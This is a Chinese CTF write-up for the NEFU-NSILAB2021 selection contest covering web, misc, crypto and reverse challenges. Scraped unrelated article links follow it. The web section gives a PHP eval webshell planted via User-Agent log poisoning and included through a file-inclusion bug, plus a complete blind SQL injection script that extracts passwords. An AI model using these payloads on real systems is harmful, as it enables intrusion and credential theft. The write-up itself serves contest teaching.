NEFU-NSILAB2021选拔赛WriteUp
Web
signin
打开看到源码:
<?php
highlight_file(__FILE__);
$file = $_GET['file'];
if ($file) {
include $file;
}
没有任何过滤的文件包含,尝试/根据提示进行日志包含,首先在访问时带上 User-Agent: <?php eval($_POST[1]); ?> 在日志里面写一句话。

然后包含日志文件 /var/log/nginx/access.log,传一个 phpinfo(); 可以看到成功 getshell。

蚁剑连接或手动 system('ls /');,可以看到根目录下有一个 flag.sh 内容为:
#!/bin/sh
sed -i "s/root/$FLAG/" /etc/passwd
export FLAG=not_flag
FLAG=not_flag
可知 flag 被写进了 /etc/passwd,打开找到 flag。

babysqli
打开看到一个登录页面,随意输入一个用户名密码,跳转到 doLogin.php 并提示 Wrong password!。根据题目名字可知是 sql 注入,在 username 参数后面加一个 ' 后出现了报错。

直接盲猜一个报错注入

咦?怎么什么都没出来?原来是 updatexml extractvalue floor 都被禁用了,同理可以尝试出被禁用的还有 = and &&,于是就有很多解法,这里因为没有回显于是进行了一个布尔盲注,写个脚本:
import time
import requests
url = "http://ctf.nefu.edu.cn:29097/doLogin.php"
true_flag = "Congratutions!"
# ctftraining,information_schema,mysql,performance_schema,test,web_sqli
# payload = "select group_concat(schema_name) from information_schema.schemata"
# user
# payload = "select group_concat(table_name) from information_schema.tables where table_schema like database()"
# id,username,passwd
# payload = "select group_concat(column_name) from information_schema.columns where table_schema like database()"
payload = "select group_concat(passwd) from web.user"
template = "-1' union select 1,2,if(ascii(substr(({}), {}, 1))>{}, 1, 0) #"
def valid_payload(offset: int, index: int) -> bool:
response = requests.post(url, data={
"username": template.format(payload, offset, index),
"password": 1
})
return true_flag in response.text
index = 1
result = ""
while True:
start = 32
end = 127
while not(abs(start - end) == 1 or start == end):
everage = (start + end) // 2
if valid_payload(index, everage):
start = everage
else:
end = everage
if end < start:
end = start
if chr(end) == "!":
break
result += chr(end)
print(f"[*] result: {result}")
index += 1
脚本注出库名、表名、列名,最后注出 admin 的密码就是 flag,这里注意用 like 代替了被禁用的 =。

ezcve
打开一看就输出个字符串 Hello Nefuer!,别的啥都没有。观察 Response Headers 可发现 X-Powered-By: PHP/8.1.0-dev,再根据题目名字搜索可知 PHP 8.1.0-dev 有一个 RCE漏洞,根据文章提示利用漏洞执行任意命令。

题目提示 flag 在环境变量里,执行 env 命令获取所有环境变量,得到 flag。

Misc
signin
下载文件是一个文本,里面明显是 base 编码,放进 CyberChef 里面,进行 base64+base32+base58 解码得到 flag。

ezpng
下载文件得到一个 png 文件,通过 010editor 或其他方式可知该图片的 CRC 值不对,高度被改过。

手动更改高度的值或者通过脚本等方式爆破高度得到完整图片:

图片中包含 flag:

traffic
下载文件解压压缩包,得到一个 pcapng 文件,wireshark 打开进行流量分析,导出其中的所有 http 对象

其中有两个文件 secret 和 test 看起来不对劲,根据请求中的信息可知他们是 brotli 编码的,写个脚本或者通过其他方式解码:
import brotli
def decode(file: str):
with open(file, "rb") as r:
with open(f"{file[0]}out", "wb") as w:
w.write(brotli.decompress(r.read()))
for name in ["secret", "test"]:
decode(name)
得到 sout 和 tout 文件,查看文件内容或根据题目提示可知 tout 文件为 protobuf 协议的 .proto 文件,sout 可能为编码后的 protobuf 数据,这里使用 protoc 将 sout 作为 PBResponse 解码得到:
$ protoc --decode PBResponse tout < sout
code: 200
flag_part_convert_to_hex_plz: 15100450
dataList {
flag_part: "e2345"
junk_data: "7af2c"
}
dataList {
flag_part: "7889b0"
junk_data: "82bc0"
}
flag_part_plz_convert_to_hex: 16453958
flag_last_part: "d172a38dc"
根据字段名提示,将 flag_part_convert_to_hex_plz 和 flag_part_plz_convert_to_hex 的值转为十六进制后和其他部分拼接,得到 flag:e66a22e23457889b0fb1146d172a38dc。
Crypto
warmup
openssl rsautl -decrypt -in flag.enc -inkey private.pem -out msg.txt
即可得到flag
advance
import gmpy2
import hashlib
def transform(x, y): # 使用辗转相处将分数 x/y 转为连分数的形式
res = []
while y:
res.append(x // y)
x, y = y, x % y
return res
def continued_fraction(sub_res):
numerator, denominator = 1, 0
for i in sub_res[::-1]: # 从sublist的后面往前循环
denominator, numerator = numerator, i * numerator + denominator
return denominator, numerator # 得到渐进分数的分母和分子,并返回
# 求解每个渐进分数
def sub_fraction(x, y):
res = transform(x, y)
res = list(map(continued_fraction, (res[0:i] for i in range(1, len(res))))) # 将连分数的结果逐一截取以求渐进分数
return res
def get_pq(a, b, c): # 由p+q和pq的值通过维达定理来求解p和q
par = gmpy2.isqrt(b * b - 4 * a * c) # 由上述可得,开根号一定是整数,因为有解
x1, x2 = (-b + par) // (2 * a), (-b - par) // (2 * a)
return x1, x2
def wienerAttack(e, n):
for (d, k) in sub_fraction(e, n): # 用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数
if k == 0: # 可能会出现连分数的第一个为0的情况,排除
continue
if (e * d - 1) % k != 0: # ed=1 (mod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)
continue
phi = (e * d - 1) // k # 这个结果就是 φ(n)
px, qy = get_pq(1, n - phi + 1, n)
if px * qy == n:
p, q = abs(int(px)), abs(int(qy)) # 可能会得到两个负数,负负得正未尝不会出现
d = gmpy2.invert(e, (p - 1) * (q - 1)) # 求ed=1 (mod φ(n))的结果,也就是e关于 φ(n)的乘法逆元d
return d
print("该方法不适用")
n = 101991809777553253470276751399264740131157682329252673501792154507006158434432009141995367241962525705950046253400188884658262496534706438791515071885860897552736656899566915731297225817250639873643376310103992170646906557242832893914902053581087502512787303322747780420210884852166586717636559058152544979471
e = 46731919563265721307105180410302518676676135509737992912625092976849075262192092549323082367518264378630543338219025744820916471913696072050291990620486581719410354385121760761374229374847695148230596005409978383369740305816082770283909611956355972181848077519920922059268376958811713365106925235218265173085
d = wienerAttack(e, n)
print("d=", d)
k = hex(d)[2:]
flag = "NEFUCTF{" + hashlib.md5(k.encode('utf-8')).hexdigest() + "}"
# flag = "NEFUCTF{" + hashlib.md5(hex(d)).hexdigest() + "}"
print(flag)
# NEFUCTF{{47bf28da384590448e0b0d23909a25a4}
hard
RSA加密
pow(enc,e,N)
RSA解密
n==>p,q
phi=(p-1)*(q-1)
d = gmpy2.invert(e,phi)
m=pow(enc,d,n)
本题常规解题思路:
enc已知 n已知 d?==> e已知 ,求phi ==>求p和q
看着加密脚本中多次出现p及p^r,
本打算直接开用p=gmpy2.iroot(n,r)[0] 开多次方根求p,进而求q //根据加密脚本逆运算 未果 开不出来 ╮(╯▽╰)╭
另一种思路:
e太大 可使用算法从e中快速推断出d的值。 可使用Wiener’s Attack进行解d
求出d可直接求m
但是这样也确实解不出来
好吧 正确解题思路:
n==>分解n得到k个p 即n=pk
phi=(pk)-(p**k-1) //由欧拉函数得
d = gmpy2.invert(e,phi)
m=pow(enc,d,n)
欧拉函数学习链接:https://blog.csdn.net/liuzibujian/article/details/81086324
这个数学知识不看还真不行,看这个链接里面的"欧拉函数的几个性质"即可
题目中幂使用的是r而不是k
(python中使用**代表多少次幂)
#!/usr/bin/python
#coding:utf-8
import base64
import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes,bytes_to_long
c = "..."
e = ...
p = ...
n = p**4
phi = p**4-p**3
#c = int(base64.b64decode(c).encode('hex'),16) 延伸
c = bytes_to_long(c.decode('base64'))
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print long_to_bytes(m)
Reverse
signin
将程序拖入IDA后在字符串列表可以找到flag
signin2
查壳查到是upx壳
手脱或用工具脱壳后用ida打开
shift+f12键查看所有字符串可以看到flag
Maze(misc)
在hex-view里看到了迷宫,点开check函数看到
bool __cdecl check(char *flag)
{
char *v1; // eax
int v2; // eax
char *cur; // [esp+Ch] [ebp-4h]170个字符,其中有一个是空字符'0'
cur = &maze[14];//这是一个含14*12的迷宫
while ( *flag && *cur != '*' )//由此可见'*'是迷宫的墙
{
v1 = flag++;
v2 = *v1;
if ( v2 == 'd' )
{
++cur;//d为向右走一步
}
else if ( v2 > 'd' )
{
if ( v2 == 's' )
{
cur += 13;//s为向右13步,在本二维数组中为向左下方一步或向右13步
}
else
{
if ( v2 != 'w' )
return 0;
cur -= 13;//w为向右上方一步或向左13步
}
}
else
{
if ( v2 != 'a' )
return 0;
--cur;//a为向左一步
}
}
return *cur == '#';//'#'是迷宫终点
}
根据题意,这是个14*12的迷宫,@是起点,#是终点,flag走迷宫的路径,且d:向前一步,a:向后一步,s:向前13步,w:向后13步,写代码生成迷宫
int main()
{
char s[]="**************@************-************-***-**-*****--*****-*****-***#**-*****--**----******-*****-******-****--******---**-*******-*-----******-------*****************";
int i,j;
for(i=0;i<12;i++)
{
for(j=0;j<14;j++)
{
if(s[i*14+j]=='-')
cout<<"0"<<' ';
else if(s[i*14+j]=='*')
cout<<"X"<<' ';
else
cout<<s[i*14+j]<<' ';
}
cout<<endl;
}
return 0;
}
可以写BFS找,也可以直接手动找,得到顺序sssssdsssddsdddwwdwwaaaw,包上nefuctf{}即可提交
Crypto
手逆python字节码。源码用python -m dis code.py生成。
字节码还原的相关分析参考:
https://docs.python.org/zh-cn/3/library/dis.html
https://bbs.pediy.com/thread-262577.htm
得到源码:
import base64
k = 0
_ = 0
c = b"..." #base64密文略
c = base64.b64decode(c).decode().split(",")
def x(n):
if n > 1:
for i in range(2, n):
if (n % i) == 0:
return False
break
return True
else:
return False
z = lambda n: (2 ** n) - 1
out = ''
while _ < len(c):
if x(z(k)):
out += chr(int(c[_]) ^ z(k))
_ += 1
k += 1
print(out.join(['flag{','}']))
c解出的list与满足函数x()条件的 \(2^k-1\) 分别异或得到结果,而x()中判断 \(2^k-1\) 是否为素数。
直接运行在短时间只能得到前几位的结果,是因为 \(2^k-1\) 的值为指数级增长,而且x()中又需对每个数从2至当前数遍历,非常耗时。
换个角度,c的list长度为47,那么只需寻找前47个满足 \(2^k-1\) 为素数的 k 值即可。
这里可以自行学习一下梅森素数
可见满足梅森素数(\(2^k-1\))的梅森指数(k 值)必定也是素数,而寻找梅森素数的过程很复杂且极其耗时(发现第35-51个梅森素数的过程,使用巨型分布式算力都花费了近20年)。
对于著名数列,可以使用在线整数数列查询网站(OEIS)查询,梅森素数数列里不足47个,不过可以从梅森指数数列里取47个 k 再计算 \(2^k-1\)。
import base64
_ = 0
c = b"..." #base64密文略
c = base64.b64decode(c).decode().split(",")
me = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433, 1257787, 1398269, 2976221, 3021377, 6972593, 13466917, 20996011, 24036583, 25964951, 30402457, 32582657, 37156667, 42643801, 43112609]
out = ''
while _ < len(c):
out += chr(int(c[_]) ^ 2**me[_]-1)
_ += 1
print(out.join(['flag{','}']))
NEFU-NSILAB2021选拔赛WriteUp的更多相关文章
- 20145328《网络对抗技术》Final
系内选拔赛write-up 1 信息隐藏 第一题图片藏东西,后缀名改txt,没有发现,改rar,发现压缩包内存在key.txt,解压提示存在密码,尝试使用修复,得到key.txt,打开获取flag,S ...
- 2016第七季极客大挑战Writeup
第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...
- ISCC2016 WriteUp
日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...
- 2016中国大学生程序设计竞赛 - 网络选拔赛 C. Magic boy Bi Luo with his excited tree
Magic boy Bi Luo with his excited tree Problem Description Bi Luo is a magic boy, he also has a migi ...
- 2016 ccpc 网络选拔赛 F. Robots
Robots Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others)Total Subm ...
- 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp
洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...
- 爱春秋之戏说春秋 Writeup
爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...
- 数论 - 算数基本定理的运用 --- nefu 118 : n!后面有多少个0
题目链接:http://acm.nefu.edu.cn/JudgeOnline/problemshow.php Mean: 略. analyse: 刚开始想了半天都没想出来,数据这么大,难道是有什么 ...
- 《安全智库》:48H急速夺旗大战通关writeup(通关策略)
作者:ByStudent 题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...
- Codevs 2296 仪仗队 2008年省队选拔赛山东
2296 仪仗队 2008年省队选拔赛山东 时间限制: 1 s 空间限制: 256000 KB 题目等级 : 大师 Master 题解 题目描述 Description 作为体育委员,C君负责这次运动 ...
随机推荐
- sdio/mmc/sd笔记
[SDIO] SD card 初始化及常用命令解析 https://blog.csdn.net/u010443710/article/details/107014873 cmd0命令,是单向命令,ho ...
- jetbrain 全套激活
关于 jetbrain 专业版激活的教程很多,发现很多实际操作不太友好,本人亲测可激活经理 1.下载 ja-ja-netfilter-all https://github.com/byebai95/j ...
- core程序实现文件下载
已知本地文件名,返回给前台流 string filepath = path +"/" + filename +".txt"; if(System.IO.File ...
- 通过VS Code轻松连接树莓派
如果您正在使用树莓派作为开发平台,那么通过远程连接VS Code到树莓派是非常方便的一种方法.这样,您可以在Windows或macOS等计算机上开发和测试代码,而不必在树莓派上进行. 以下是通过VS ...
- vue3 技术浏览 收藏
Vue3教程:Vue3.0 + Vant3.0 搭建种子项目 链接:https://www.cnblogs.com/han-1034683568/p/13875663.html
- (五).JavaScript的函数
1. 函数 1.1 函数基础简介 函数介绍 函数:具有特定功能的代码块 本质:一种对象数据类型 功能:1. 代码复用 2. 项目模块化 函数组成(两者必须同时存在): 1. 函数定义 2. 函数调用 ...
- MySQL_GTID主从同步排错
1 在Master上 查询gtid后,记录gtid_executed 返回的值 mysql> show global variables like '%gtid%'\G ************ ...
- 发布订阅清理distribution未执行导致distribution库特别大处理办法
近期发现数据服务器中数据库所在盘被占用的特别严重,一个800G的盘只剩下不到100G,排除备份所占用的其他的空间竟然有400G被安装目录下的分发数据库distribution.MDF所占用. 分发数据 ...
- 关于PB用JDBC连接MySQL,亲测有效
以前自学过一段时间的PB,数据窗口让人印象深刻,前段时间,在西瓜视频看到有人录制了PB的教学视频,让我想起以前自学的那段时光,遇到了问题,也不知道问谁,现在网络发达,可以在网上查找问题,但是有大多数博 ...
- mybatis_19
id username birthday sex address 1 王五 2 10 张三 2014-07-10 1 北京市 16 张小明 1 河南郑州 22 陈小明 1 河南郑州 24 张三丰 1 ...